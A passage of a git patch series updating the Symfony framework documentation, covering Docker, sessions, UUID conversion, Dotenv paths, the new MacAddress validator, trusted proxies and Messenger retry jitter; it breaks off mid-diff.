diff --git a/setup/docker.rst b/setup/docker.rst
index 605afa64c19..5a8e2daad6f 100644
--- a/setup/docker.rst
+++ b/setup/docker.rst
@@ -51,4 +51,9 @@ If you're using the :ref:`symfony binary web server <symfony-local-web-server>`
 then it can automatically detect your Docker services and expose them as environment
 variables. See :ref:`symfony-server-docker`.
 
+.. note::
+
+    Mac users need to explicitly allow the default Docker socket to be used for the Docker integration to work as explained in the `Docker documentation`_.
+
 .. _`https://github.com/dunglas/symfony-docker`: https://github.com/dunglas/symfony-docker
+.. _`Docker documentation`: https://docs.docker.com/desktop/mac/permission-requirements/

From 024f3d8e3c4a5cd3d25ee87d0c3285d629b2fe5c Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 2 Jan 2024 09:22:19 +0100
Subject: [PATCH 5598/7107] Minor tweak

---
 setup/docker.rst | 5 +++--
 1 file changed, 3 insertions(+), 2 deletions(-)

diff --git a/setup/docker.rst b/setup/docker.rst
index 5a8e2daad6f..63da416e7bf 100644
--- a/setup/docker.rst
+++ b/setup/docker.rst
@@ -53,7 +53,8 @@ variables. See :ref:`symfony-server-docker`.
 
 .. note::
 
-    Mac users need to explicitly allow the default Docker socket to be used for the Docker integration to work as explained in the `Docker documentation`_.
+    macOS users need to explicitly allow the default Docker socket to be used
+    for the Docker integration to work `as explained in the Docker documentation`_.
 
 .. _`https://github.com/dunglas/symfony-docker`: https://github.com/dunglas/symfony-docker
-.. _`Docker documentation`: https://docs.docker.com/desktop/mac/permission-requirements/
+.. _`as explained in the Docker documentation`: https://docs.docker.com/desktop/mac/permission-requirements/

From 80fa0a34618d2480e6b3acce32977ea4ff143e89 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 2 Jan 2024 09:27:16 +0100
Subject: [PATCH 5599/7107] Minor reword

---
 reference/configuration/framework.rst | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index a0650093bb5..f5f5f8df3f9 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -1575,10 +1575,10 @@ handler_id
 
 **type**: ``string`` | ``null`` **default**: ``null``
 
-By default at ``null`` if ``framework.session.save_path`` is not set.
-The session handler configured by php.ini is used, unless option
-``framework.session.save_path`` is used, in which case the default is to store sessions
-using the native file session handler.
+If ``framework.session.save_path`` is not set, the default value of this option
+is ``null``, which means to use the session handler configured in php.ini. If the
+``framework.session.save_path`` option is set, then Symfony stores sessions using
+the native file session handler.
 
 It is possible to :ref:`store sessions in a database <session-database>`,
 and also to configure the session handler with a DSN:

From 955908755bc9fb44ab31f214cf3f982eeaa8fb6d Mon Sep 17 00:00:00 2001
From: r-ant-2468 <56399976+r-ant-2468@users.noreply.github.com>
Date: Mon, 19 Dec 2022 15:15:33 +0100
Subject: [PATCH 5600/7107] Update locale with new authentication system

For the new authentication system, the LoginSuccessEvent event that is fired after logging in. This is to be updated in the new documentation
---
 session.rst | 11 +++++------
 1 file changed, 5 insertions(+), 6 deletions(-)

diff --git a/session.rst b/session.rst
index eee81b4f833..7ed27fe45e7 100644
--- a/session.rst
+++ b/session.rst
@@ -1469,7 +1469,7 @@ this as the locale for the given user. To accomplish this, you can hook into
 the login process and update the user's session with this locale value before
 they are redirected to their first page.
 
-To do this, you need an event subscriber on the ``security.interactive_login``
+To do this, you need an event subscriber on the ``LoginSuccessEvent::class``
 event::
 
     // src/EventSubscriber/UserLocaleSubscriber.php
@@ -1477,8 +1477,7 @@ event::
 
     use Symfony\Component\EventDispatcher\EventSubscriberInterface;
     use Symfony\Component\HttpFoundation\RequestStack;
-    use Symfony\Component\Security\Http\Event\InteractiveLoginEvent;
-    use Symfony\Component\Security\Http\SecurityEvents;
+    use Symfony\Component\Security\Http\Event\LoginSuccessEvent;
 
     /**
      * Stores the locale of the user in the session after the
@@ -1491,9 +1490,9 @@ event::
         ) {
         }
 
-        public function onInteractiveLogin(InteractiveLoginEvent $event): void
+        public function onLoginSuccess(LoginSuccessEvent $event): void
         {
-            $user = $event->getAuthenticationToken()->getUser();
+            $user = $event->getUser();
 
             if (null !== $user->getLocale()) {
                 $this->requestStack->getSession()->set('_locale', $user->getLocale());
@@ -1503,7 +1502,7 @@ event::
         public static function getSubscribedEvents(): array
         {
             return [
-                SecurityEvents::INTERACTIVE_LOGIN => 'onInteractiveLogin',
+                LoginSuccessEvent::class => 'onLoginSuccess',
             ];
         }
     }

From 6b319a22eab53a36e291ef9096537abd617a7d28 Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Tue, 2 Jan 2024 09:20:17 +0100
Subject: [PATCH 5601/7107] [Uid] Add `UuidV1::toV6()`, `UuidV1::toV7()` and
 `UuidV6::toV7()`

---
 components/uid.rst | 20 ++++++++++++++++++++
 1 file changed, 20 insertions(+)

diff --git a/components/uid.rst b/components/uid.rst
index 26fd32989a9..96dda1e149d 100644
--- a/components/uid.rst
+++ b/components/uid.rst
@@ -180,6 +180,26 @@ Use these methods to transform the UUID object into different bases::
     $uuid->toRfc4122(); // string(36) "d9e7a184-5d5b-11ea-a62a-3499710062d0"
     $uuid->toHex();     // string(34) "0xd9e7a1845d5b11eaa62a3499710062d0"
 
+Some UUID versions support being converted from one version to another::
+
+    // convert V1 to V6 or V7
+    $uuid = Uuid::v1();
+
+    $uuid->toV6(); // returns a Symfony\Component\Uid\UuidV6 instance
+    $uuid->toV7(); // returns a Symfony\Component\Uid\UuidV7 instance
+
+    // convert V6 to V7
+    $uuid = Uuid::v6();
+
+    $uuid->toV7(); // returns a Symfony\Component\Uid\UuidV7 instance
+
+.. versionadded:: 7.1
+
+    The :method:`Symfony\\Component\\Uid\\UuidV1::toV6`,
+    :method:`Symfony\\Component\\Uid\\UuidV1::toV7` and
+    :method:`Symfony\\Component\\Uid\\UuidV6::toV7`
+    methods were introduced in Symfony 7.1.
+
 Working with UUIDs
 ~~~~~~~~~~~~~~~~~~
 

From 773cb0fe77506310c8e6c282e591bb896a09ac11 Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Tue, 21 Feb 2023 00:55:18 +0100
Subject: [PATCH 5602/7107] [Mailer] Switching to new config format

---
 mailer.rst | 12 ++++--------
 1 file changed, 4 insertions(+), 8 deletions(-)

diff --git a/mailer.rst b/mailer.rst
index 4099724a68f..1b3e66f2aff 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -55,14 +55,10 @@ over SMTP by configuring the DSN in your ``.env`` file (the ``user``,
 
         // config/packages/mailer.php
         use function Symfony\Component\DependencyInjection\Loader\Configurator\env;
-        use Symfony\Component\DependencyInjection\Loader\Configurator\ContainerConfigurator;
-
-        return static function (ContainerConfigurator $container): void {
-            $container->extension('framework', [
-                'mailer' => [
-                    'dsn' => env('MAILER_DSN'),
-                ],
-            ]);
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework): void {
+            $framework->mailer()->dsn(env('MAILER_DSN'));
         };
 
 .. caution::

From 50a296fc648774e3cab0c60331f664727424fcb7 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 2 Jan 2024 11:24:51 +0100
Subject: [PATCH 5603/7107] Minor tweak

---
 components/uid.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/components/uid.rst b/components/uid.rst
index 96dda1e149d..6e69e36a610 100644
--- a/components/uid.rst
+++ b/components/uid.rst
@@ -180,7 +180,7 @@ Use these methods to transform the UUID object into different bases::
     $uuid->toRfc4122(); // string(36) "d9e7a184-5d5b-11ea-a62a-3499710062d0"
     $uuid->toHex();     // string(34) "0xd9e7a1845d5b11eaa62a3499710062d0"
 
-Some UUID versions support being converted from one version to another::
+You can also convert some UUID versions to others::
 
     // convert V1 to V6 or V7
     $uuid = Uuid::v1();

From 8cb124618ae25d6cd712e552f7e5bb2295ba5435 Mon Sep 17 00:00:00 2001
From: "hubert.lenoir" <hubert.lenoir@sensiolabs.com>
Date: Tue, 2 Jan 2024 14:56:34 +0100
Subject: [PATCH 5604/7107] [Doctrine] Fix #[MapEntity(expr: '...')]

---
 doctrine.rst | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/doctrine.rst b/doctrine.rst
index e1d91969e92..b3e202f5792 100644
--- a/doctrine.rst
+++ b/doctrine.rst
@@ -751,13 +751,13 @@ the default convention.
 
 If you need to get other information from the request to query the database, you
 can also access the request in your expression thanks to the ``request``
-variable. Let's say you pass the page limit of a list in a query parameter::
+variable. Let's say you want the first or the last comment of a product depending on a query parameter named ``sort``::
 
     #[Route('/product/{id}/comments')]
     public function show(
         Product $product,
-        #[MapEntity(expr: 'repository.findBy(["product_id" => id], null, request.query.get("limit", 10)')]
-        iterable $comments
+        #[MapEntity(expr: 'repository.findOneBy({"product": id}, {"createdAt": request.query.get("sort", "DESC")})')]
+        Comment $comment
     ): Response {
     }
 

From dd092c76bb6e8a5064aae83bc6d1dee0e3a0789b Mon Sep 17 00:00:00 2001
From: Sarim Khan <sarim2005@gmail.com>
Date: Wed, 3 Jan 2024 01:29:46 +0600
Subject: [PATCH 5605/7107] [Encore] Update note instructing users to upgrade
 symfony-cli for node.js 17+ tls compatibility

---
 frontend/encore/dev-server.rst | 7 ++-----
 1 file changed, 2 insertions(+), 5 deletions(-)

diff --git a/frontend/encore/dev-server.rst b/frontend/encore/dev-server.rst
index 5112b99448d..d9b168cd4ed 100644
--- a/frontend/encore/dev-server.rst
+++ b/frontend/encore/dev-server.rst
@@ -77,12 +77,9 @@ server SSL certificate:
 
 .. note::
 
-    If you are using Node.js 17 or newer, you have to run the ``dev-server`` command with the
-    ``--openssl-legacy-provider`` option:
+    If you are using Node.js 17 or newer and ``dev-server`` fails to start with TLS error, the certificate file might be generated by an old version of **symfony-cli**. Upgrade **symfony-cli** to the latest version, delete the old ``~/.symfony5/certs/default.p12`` file, and start symfony server again.
 
-    .. code-block:: terminal
-
-        $ NODE_OPTIONS=--openssl-legacy-provider npm run dev-server
+    This generates a new ``default.p12`` file suitable for use with recent Node.js versions.
 
 CORS Issues
 -----------

From 84b6de9dc1e9e777e0d94feb12c6cf46c7324fc7 Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Wed, 3 Jan 2024 13:05:17 +0100
Subject: [PATCH 5606/7107] -

---
 frontend/encore/dev-server.rst | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/frontend/encore/dev-server.rst b/frontend/encore/dev-server.rst
index d9b168cd4ed..0755f452271 100644
--- a/frontend/encore/dev-server.rst
+++ b/frontend/encore/dev-server.rst
@@ -13,10 +13,10 @@ This builds and serves the front-end assets from a new server. This server runs
 This server does not actually write the files to disk; instead it serves them from memory,
 allowing for hot module reloading.
 
-As a consequence, the ``link`` and ``script`` tags need to point to the new server. If you're using the
-``encore_entry_script_tags()`` and ``encore_entry_link_tags()`` Twig shortcuts (or are
-:ref:`processing your assets through entrypoints.json <load-manifest-files>` in some other way),
-you're done: the paths in your templates will automatically point to the dev server.
+As a consequence, the ``link`` and ``script`` tags need to point to the new server.
+If you're using the ``encore_entry_script_tags()`` and ``encore_entry_link_tags()``
+Twig shortcuts (or are :ref:`processing your assets through entrypoints.json <load-manifest-files>`
+in some other way), you're done: the paths in your templates will automatically point to the dev server.
 
 dev-server Options
 ------------------

From 84d8bde669347496d203ad8a01e5f39d732f88d1 Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Wed, 3 Jan 2024 13:05:57 +0100
Subject: [PATCH 5607/7107] -

---
 frontend/encore/dev-server.rst | 5 ++++-
 1 file changed, 4 insertions(+), 1 deletion(-)

diff --git a/frontend/encore/dev-server.rst b/frontend/encore/dev-server.rst
index 0755f452271..b509b68246f 100644
--- a/frontend/encore/dev-server.rst
+++ b/frontend/encore/dev-server.rst
@@ -77,7 +77,10 @@ server SSL certificate:
 
 .. note::
 
-    If you are using Node.js 17 or newer and ``dev-server`` fails to start with TLS error, the certificate file might be generated by an old version of **symfony-cli**. Upgrade **symfony-cli** to the latest version, delete the old ``~/.symfony5/certs/default.p12`` file, and start symfony server again.
+    If you are using Node.js 17 or newer and ``dev-server`` fails to start with TLS error,
+    the certificate file might be generated by an old version of **symfony-cli**. Upgrade
+    **symfony-cli** to the latest version, delete the old ``~/.symfony5/certs/default.p12`` file,
+    and start symfony server again.
 
     This generates a new ``default.p12`` file suitable for use with recent Node.js versions.
 

From c9ff43ee840cfdea207b315a83c44f35ce221961 Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Wed, 3 Jan 2024 09:06:43 +0100
Subject: [PATCH 5608/7107] [Dotenv] Add `SYMFONY_DOTENV_PATH`

---
 configuration.rst | 22 ++++++++++++++++++++++
 1 file changed, 22 insertions(+)

diff --git a/configuration.rst b/configuration.rst
index 5ab7d5e2c27..4efc7d73bd9 100644
--- a/configuration.rst
+++ b/configuration.rst
@@ -932,6 +932,28 @@ get the environment variables and will not spend time parsing the ``.env`` files
     Update your deployment tools/workflow to run the ``dotenv:dump`` command after
     each deploy to improve the application performance.
 
+Store Environment Variables In Another File
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+By default, the environment variables are stored in the ``.env`` file located
+at the root of your project. However, you can store them in another file by
+setting the ``SYMFONY_DOTENV_PATH`` environment variable to the path and
+filename of the file where the environment variables are stored. Symfony will
+then look for the environment variables in that file, but also in the local
+and environment-specific files (e.g. ``.*.local`` and
+``.*.<environment>.local``). You can find more information about this
+in the :ref:`dedicated section <configuration-multiple-env-files>`.
+
+Because this environment variable is used to find the files where you
+application environment variable are store, it must be defined at the
+system level (e.g. in your web server configuration) and not in the
+``.env`` files.
+
+.. versionadded:: 7.1
+
+    The support for the ``SYMFONY_DOTENV_PATH`` environment variable was
+    introduced in Symfony 7.1.
+
 .. _configuration-secrets:
 
 Encrypting Environment Variables (Secrets)

From eab9ad05f2ac9cb21d28a71076633466e75d7065 Mon Sep 17 00:00:00 2001
From: Sarah-eit <111879236+Sarah-eit@users.noreply.github.com>
Date: Wed, 3 Jan 2024 15:10:46 +0100
Subject: [PATCH 5609/7107] Update controller.rst

Delete the extra parenthesis
---
 controller.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/controller.rst b/controller.rst
index 21b7ccfdf81..e63a913fa07 100644
--- a/controller.rst
+++ b/controller.rst
@@ -761,7 +761,7 @@ Technically, Early Hints are an informational HTTP response with the status code
 status code and sends its headers immediately.
 
 This way, browsers can start downloading the assets immediately; like the
-``style.css`` and ``script.js`` files in the above example). The
+``style.css`` and ``script.js`` files in the above example. The
 ``sendEarlyHints()`` method also returns the ``Response`` object, which you
 must use to create the full response sent from the controller action.
 

From e926d7cec47260fc30d8edb5d9fd659c43810b58 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 3 Jan 2024 17:58:46 +0100
Subject: [PATCH 5610/7107] Minor reword

---
 configuration.rst | 34 ++++++++++++++++++----------------
 1 file changed, 18 insertions(+), 16 deletions(-)

diff --git a/configuration.rst b/configuration.rst
index 2d02d77c771..078ec57b49f 100644
--- a/configuration.rst
+++ b/configuration.rst
@@ -932,27 +932,29 @@ get the environment variables and will not spend time parsing the ``.env`` files
     Update your deployment tools/workflow to run the ``dotenv:dump`` command after
     each deploy to improve the application performance.
 
-Store Environment Variables In Another File
-~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+Storing Environment Variables In Other Files
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
 By default, the environment variables are stored in the ``.env`` file located
-at the root of your project. However, you can store them in another file by
-setting the ``SYMFONY_DOTENV_PATH`` environment variable to the path and
-filename of the file where the environment variables are stored. Symfony will
-then look for the environment variables in that file, but also in the local
-and environment-specific files (e.g. ``.*.local`` and
-``.*.<environment>.local``). You can find more information about this
-in the :ref:`dedicated section <configuration-multiple-env-files>`.
-
-Because this environment variable is used to find the files where you
-application environment variable are store, it must be defined at the
-system level (e.g. in your web server configuration) and not in the
-``.env`` files.
+at the root of your project. However, you can store them in other file by
+setting the ``SYMFONY_DOTENV_PATH`` environment variable to the absolute path of
+that custom file.
+
+Symfony will then look for the environment variables in that file, but also in
+the local and environment-specific files (e.g. ``.*.local`` and
+``.*.<environment>.local``). Read
+:ref:`how to override environment variables <configuration-multiple-env-files>`
+to learn more about this.
+
+.. caution::
+
+    The ``SYMFONY_DOTENV_PATH`` environment variable must be defined at the
+    system level (e.g. in your web server configuration) and not in any default
+    or custom ``.env`` file.
 
 .. versionadded:: 7.1
 
-    The support for the ``SYMFONY_DOTENV_PATH`` environment variable was
-    introduced in Symfony 7.1.
+    The ``SYMFONY_DOTENV_PATH`` environment variable was introduced in Symfony 7.1.
 
 .. _configuration-secrets:
 

From 6c69f1aeaa8347e78f0bd2ebb8d2dde9d52c1c4f Mon Sep 17 00:00:00 2001
From: Valentin GRAGLIA <57661266+Valentin-CosaVostra@users.noreply.github.com>
Date: Thu, 4 Jan 2024 16:36:58 +0100
Subject: [PATCH 5611/7107] Update Choice.rst

Add missing semicolon
---
 reference/constraints/Choice.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/reference/constraints/Choice.rst b/reference/constraints/Choice.rst
index ebf0efaaff7..de7b3052a2a 100644
--- a/reference/constraints/Choice.rst
+++ b/reference/constraints/Choice.rst
@@ -250,7 +250,7 @@ you can pass the class name and the method as an array.
         // src/Entity/Author.php
         namespace App\Entity;
 
-        use App\Entity\Genre
+        use App\Entity\Genre;
         use Symfony\Component\Validator\Constraints as Assert;
 
         class Author

From de4d7d274716494e41e9e2061156affb2849dc8d Mon Sep 17 00:00:00 2001
From: Antoine Lamirault <lamiraultantoine@gmail.com>
Date: Fri, 5 Jan 2024 18:09:47 +0100
Subject: [PATCH 5612/7107] [Serializer] Fix encoder options

---
 components/serializer.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/components/serializer.rst b/components/serializer.rst
index 6267f1d874e..d655af1693a 100644
--- a/components/serializer.rst
+++ b/components/serializer.rst
@@ -1047,8 +1047,8 @@ Option                           Description
 ===============================  ==========================================================================================================  ================================
 ``json_decode_associative``      If set to true returns the result as an array, returns a nested ``stdClass`` hierarchy otherwise.           ``false``
 ``json_decode_detailed_errors``  If set to true, exceptions thrown on parsing of JSON are more specific. Requires `seld/jsonlint`_ package.  ``false``
-``json_encode_options``          `$flags`_ passed to :phpfunction:`json_decode` function.                                                    ``0``
-``json_decode_options``          `$flags`_ passed to :phpfunction:`json_encode` function.                                                    ``\JSON_PRESERVE_ZERO_FRACTION``
+``json_decode_options``          `$flags`_ passed to :phpfunction:`json_decode` function.                                                    ``0``
+``json_encode_options``          `$flags`_ passed to :phpfunction:`json_encode` function.                                                    ``\JSON_PRESERVE_ZERO_FRACTION``
 ``json_decode_recursion_depth``  Sets maximum recursion depth.                                                                               ``512``
 ===============================  ==========================================================================================================  ================================
 

From 597a0886e03b9a68560aa82e76465e1c6acfc444 Mon Sep 17 00:00:00 2001
From: Antoine Lamirault <lamiraultantoine@gmail.com>
Date: Sat, 6 Jan 2024 12:12:41 +0100
Subject: [PATCH 5613/7107] [Validator] Add  constraint

---
 reference/constraints/MacAddress.rst | 104 +++++++++++++++++++++++++++
 reference/constraints/map.rst.inc    |   1 +
 2 files changed, 105 insertions(+)
 create mode 100644 reference/constraints/MacAddress.rst

diff --git a/reference/constraints/MacAddress.rst b/reference/constraints/MacAddress.rst
new file mode 100644
index 00000000000..e13420bd832
--- /dev/null
+++ b/reference/constraints/MacAddress.rst
@@ -0,0 +1,104 @@
+MacAddress
+==========
+
+.. versionadded:: 7.1
+
+    The ``MacAddress`` constraint was introduced in Symfony 7.1.
+
+This constraint ensures that the given value is a valid MAC address (internally it
+uses the ``FILTER_VALIDATE_MAC`` option of the :phpfunction:`filter_var` PHP
+function).
+
+==========  =====================================================================
+Applies to  :ref:`property or method <validation-property-target>`
+Class       :class:`Symfony\\Component\\Validator\\Constraints\\MacAddress`
+Validator   :class:`Symfony\\Component\\Validator\\Constraints\\MacAddressValidator`
+==========  =====================================================================
+
+Basic Usage
+-----------
+
+To use the MacAddress validator, apply it to a property on an object that
+will contain a host name.
+
+.. configuration-block::
+
+    .. code-block:: php-attributes
+
+        // src/Entity/Author.php
+        namespace App\Entity;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        class Author
+        {
+            #[Assert\MacAddress]
+            protected string $mac;
+        }
+
+    .. code-block:: yaml
+
+        # config/validator/validation.yaml
+        App\Entity\Author:
+            properties:
+                mac:
+                    - MacAddress: ~
+
+    .. code-block:: xml
+
+        <!-- config/validator/validation.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <constraint-mapping xmlns="http://symfony.com/schema/dic/constraint-mapping"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xsi:schemaLocation="http://symfony.com/schema/dic/constraint-mapping https://symfony.com/schema/dic/constraint-mapping/constraint-mapping-1.0.xsd">
+
+            <class name="App\Entity\Author">
+                <property name="max">
+                    <constraint name="MacAddress"/>
+                </property>
+            </class>
+        </constraint-mapping>
+
+    .. code-block:: php
+
+        // src/Entity/Author.php
+        namespace App\Entity;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+        use Symfony\Component\Validator\Mapping\ClassMetadata;
+
+        class Author
+        {
+            // ...
+
+            public static function loadValidatorMetadata(ClassMetadata $metadata): void
+            {
+                $metadata->addPropertyConstraint('mac', new Assert\MacAddress());
+            }
+        }
+
+.. include:: /reference/constraints/_empty-values-are-valid.rst.inc
+
+Options
+-------
+
+.. include:: /reference/constraints/_groups-option.rst.inc
+
+``message``
+~~~~~~~~~~~
+
+**type**: ``string`` **default**: ``This is not a valid MAC address.``
+
+This is the message that will be shown if the value is not a valid MAC address.
+
+You can use the following parameters in this message:
+
+===============  ==============================================================
+Parameter            Description
+===============  ==============================================================
+``{{ value }}``  The current (invalid) value
+===============  ==============================================================
+
+.. include:: /reference/constraints/_normalizer-option.rst.inc
+
+.. include:: /reference/constraints/_payload-option.rst.inc
diff --git a/reference/constraints/map.rst.inc b/reference/constraints/map.rst.inc
index a9692062d28..690e98c6bf9 100644
--- a/reference/constraints/map.rst.inc
+++ b/reference/constraints/map.rst.inc
@@ -32,6 +32,7 @@ String Constraints
 * :doc:`CssColor </reference/constraints/CssColor>`
 * :doc:`NoSuspiciousCharacters </reference/constraints/NoSuspiciousCharacters>`
 * :doc:`Charset </reference/constraints/Charset>`
+* :doc:`MacAddress </reference/constraints/MacAddress>`
 
 Comparison Constraints
 ~~~~~~~~~~~~~~~~~~~~~~

From c11a4310fcd4c4c2c4e8af4354b4ae594c535478 Mon Sep 17 00:00:00 2001
From: Antoine Lamirault <lamiraultantoine@gmail.com>
Date: Sat, 6 Jan 2024 12:48:46 +0100
Subject: [PATCH 5614/7107] [Uid] Add AbstractUid::toString()

---
 components/uid.rst | 5 +++++
 1 file changed, 5 insertions(+)

diff --git a/components/uid.rst b/components/uid.rst
index 6e69e36a610..e8f2f599573 100644
--- a/components/uid.rst
+++ b/components/uid.rst
@@ -179,6 +179,11 @@ Use these methods to transform the UUID object into different bases::
     $uuid->toBase58();  // string(22) "TuetYWNHhmuSQ3xPoVLv9M"
     $uuid->toRfc4122(); // string(36) "d9e7a184-5d5b-11ea-a62a-3499710062d0"
     $uuid->toHex();     // string(34) "0xd9e7a1845d5b11eaa62a3499710062d0"
+    $uuid->toString();  // string(36) "d9e7a184-5d5b-11ea-a62a-3499710062d0"
+
+.. versionadded:: 7.1
+
+    The ``toString()`` method was introduced in Symfony 7.1.
 
 You can also convert some UUID versions to others::
 

From 0ac3068bb9c905bf0233da835d498c900b2992e4 Mon Sep 17 00:00:00 2001
From: Antoine Lamirault <lamiraultantoine@gmail.com>
Date: Sat, 6 Jan 2024 12:29:15 +0100
Subject: [PATCH 5615/7107] [FrameworkBundle] add a private_ranges shortcut for
 trusted_proxies

---
 deployment/proxies.rst | 11 +++++++++++
 1 file changed, 11 insertions(+)

diff --git a/deployment/proxies.rst b/deployment/proxies.rst
index e846f95a808..2ebb1bb6a8f 100644
--- a/deployment/proxies.rst
+++ b/deployment/proxies.rst
@@ -33,6 +33,8 @@ and what headers your reverse proxy uses to send information:
             # ...
             # the IP address (or range) of your proxy
             trusted_proxies: '192.0.0.1,10.0.0.0/8'
+            # shortcut for private IP address ranges of your proxy
+            trusted_proxies: 'private_ranges'
             # trust *all* "X-Forwarded-*" headers
             trusted_headers: ['x-forwarded-for', 'x-forwarded-host', 'x-forwarded-proto', 'x-forwarded-port', 'x-forwarded-prefix']
             # or, if your proxy instead uses the "Forwarded" header
@@ -53,6 +55,8 @@ and what headers your reverse proxy uses to send information:
             <framework:config>
                 <!-- the IP address (or range) of your proxy -->
                 <framework:trusted-proxies>192.0.0.1,10.0.0.0/8</framework:trusted-proxies>
+                <!-- shortcut for private IP address ranges of your proxy -->
+                <framework:trusted-proxies>private_ranges</framework:trusted-proxies>
 
                 <!-- trust *all* "X-Forwarded-*" headers -->
                 <framework:trusted-header>x-forwarded-for</framework:trusted-header>
@@ -75,6 +79,8 @@ and what headers your reverse proxy uses to send information:
             $framework
                 // the IP address (or range) of your proxy
                 ->trustedProxies('192.0.0.1,10.0.0.0/8')
+                // shortcut for private IP address ranges of your proxy
+                ->trustedProxies('private_ranges')
                 // trust *all* "X-Forwarded-*" headers (the ! prefix means to not trust those headers)
                 ->trustedHeaders(['x-forwarded-for', 'x-forwarded-host', 'x-forwarded-proto', 'x-forwarded-port', 'x-forwarded-prefix'])
                 // or, if your proxy instead uses the "Forwarded" header
@@ -82,6 +88,11 @@ and what headers your reverse proxy uses to send information:
             ;
         };
 
+.. versionadded:: 7.1
+
+    ``private_ranges`` as a shortcut for private IP address ranges for the
+    `trusted_proxies` option was introduced in Symfony 7.1.
+
 .. caution::
 
     Enabling the ``Request::HEADER_X_FORWARDED_HOST`` option exposes the

From d6e3cf99d576f5443a5457f3e6b5f348183089f0 Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Sat, 6 Jan 2024 17:45:04 +0100
Subject: [PATCH 5616/7107] -

---
 deployment/proxies.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/deployment/proxies.rst b/deployment/proxies.rst
index 2ebb1bb6a8f..6d2b4e7bd52 100644
--- a/deployment/proxies.rst
+++ b/deployment/proxies.rst
@@ -91,7 +91,7 @@ and what headers your reverse proxy uses to send information:
 .. versionadded:: 7.1
 
     ``private_ranges`` as a shortcut for private IP address ranges for the
-    `trusted_proxies` option was introduced in Symfony 7.1.
+    ``trusted_proxies`` option was introduced in Symfony 7.1.
 
 .. caution::
 

From a7e57059acc12854419455b457a0cabd4cef7c41 Mon Sep 17 00:00:00 2001
From: Christian Flothmann <christian.flothmann@qossmic.com>
Date: Sun, 7 Jan 2024 18:00:53 +0100
Subject: [PATCH 5617/7107] [#18757] fix merge

---
 routing.rst | 1 -
 1 file changed, 1 deletion(-)

diff --git a/routing.rst b/routing.rst
index 941c074cb0d..402a26e09e9 100644
--- a/routing.rst
+++ b/routing.rst
@@ -2610,7 +2610,6 @@ defined as attributes:
         controllers:
             resource: '../../src/Controller/'
             type: attribute
-            defaults:
             schemes: [https]
 
     .. code-block:: xml

From 2bfe5da40ec0fdea23ecdb0426810fb30e8441f3 Mon Sep 17 00:00:00 2001
From: Antoine Lamirault <lamiraultantoine@gmail.com>
Date: Wed, 15 Feb 2023 22:20:59 +0100
Subject: [PATCH 5618/7107] Adapt CsvEncode no_headers context

---
 components/serializer.rst | 3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

diff --git a/components/serializer.rst b/components/serializer.rst
index f6b2048a6bb..d35051ddf5d 100644
--- a/components/serializer.rst
+++ b/components/serializer.rst
@@ -1104,7 +1104,8 @@ Option                  Description                                            D
                         with a ``\t`` character
 ``as_collection``       Always returns results as a collection, even if only   ``true``
                         one line is decoded.
-``no_headers``          Disables header in the encoded CSV                     ``false``
+``no_headers``          Setting to ``false`` will use first row as headers.    ``false``
+                        ``true`` generate numeric headers.
 ``output_utf8_bom``     Outputs special `UTF-8 BOM`_ along with encoded data   ``false``
 ======================= =====================================================  ==========================
 

From dc1854310e8a4d4675cbb75dc994add35d02d682 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Rokas=20Mikalk=C4=97nas?= <rokas@mikalkenas.lt>
Date: Mon, 8 Jan 2024 07:36:00 +0200
Subject: [PATCH 5619/7107] [Messenger] Add jitter parameter to
 MultiplierRetryStrategy

---
 messenger.rst | 6 +++++-
 1 file changed, 5 insertions(+), 1 deletion(-)

diff --git a/messenger.rst b/messenger.rst
index 4b218d7c286..fbf0933f1be 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -986,6 +986,8 @@ this is configurable for each transport:
                             # e.g. 1 second delay, 2 seconds, 4 seconds
                             multiplier: 2
                             max_delay: 0
+                            # applies randomness to the delay that can prevent the thundering herd effect
+                            jitter: 0.1
                             # override all of this with a service that
                             # implements Symfony\Component\Messenger\Retry\RetryStrategyInterface
                             # service: null
@@ -1005,7 +1007,7 @@ this is configurable for each transport:
             <framework:config>
                 <framework:messenger>
                     <framework:transport name="async_priority_high" dsn="%env(MESSENGER_TRANSPORT_DSN)%?queue_name=high_priority">
